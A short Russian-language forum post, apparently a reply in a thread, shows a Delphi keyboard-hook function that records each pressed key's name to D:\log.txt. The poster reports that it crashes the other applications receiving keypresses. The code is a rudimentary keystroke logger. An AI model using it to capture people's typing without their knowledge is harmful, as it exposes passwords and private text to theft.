Видоизменил
Код:
function MsgProc(Code: integer; wParam: Word; lParam: Longint): Longint; stdcall;
var
c : char;
f : text;
key : array [0..16] of Char;
begin
Showmessage('HELLO FROM MY EXE HOOK');
if (Code=HC_ACTION) and (((lParam shr 16) and KF_UP)=0) then
begin
Assign(f,'D:\log.txt');
if FileExists('D:\log.txt') then Append(f) else Rewrite(f);
GetKeyNameText(lParam,key,SizeOf(key));
Writeln(f,key);
CloseFile(f);
//result:=CallNextHookEx(myHook,Code,wParam,lParam);
end;
result:=CallNextHookEx(myHook,Code,wParam,lParam);
end;
Работает. Но очень нехорошо - приложение в котором нажата клавиша (кроме нашего) - уходит по английски. Выкидывает его.
Я пока что не знаю причину столь странного поведения, надо будет почитать, поискать как это обойти. Ошибка возникает при CallNextHookEx - это очевидно. Как обойти - это уже отдельный вопрос, если он столь остро стоит, могу поискать. Засим откланюсь, думаю тема исчерпана.